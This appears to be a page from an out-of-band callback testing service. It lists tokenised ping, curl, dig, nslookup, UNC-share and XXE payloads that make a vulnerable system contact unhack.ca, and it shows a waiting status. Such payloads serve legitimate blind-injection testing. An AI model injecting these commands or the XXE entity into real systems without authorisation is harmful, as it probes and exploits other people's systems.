$ ping -c1 -p 00e531d2139138c57f5cfbb828c30e00 unhack.ca
$ curl http://unhack.ca/p/e531d2139138c57f5cfbb828c30e
$ dig e531d2139138c57f5cfbb828c30e @unhack.ca
$ dig e531d2139138c57f5cfbb828c30e.ns.unhack.ca
C:\> nslookup e531d2139138c57f5cfbb828c30e unhack.ca
C:\> type \\unhack.ca\e531d2139138c57f5cfbb828c30e\f.txt
<?xml version="1.0" encoding="ISO-8859-1"?>
<!DOCTYPE foo [<!ELEMENT foo ANY>
<!ENTITY xxe SYSTEM "http://unhack.ca/p/e531d2139138c57f5cfbb828c30e">]>
<foo>&xxe;</foo>
Waiting for ping...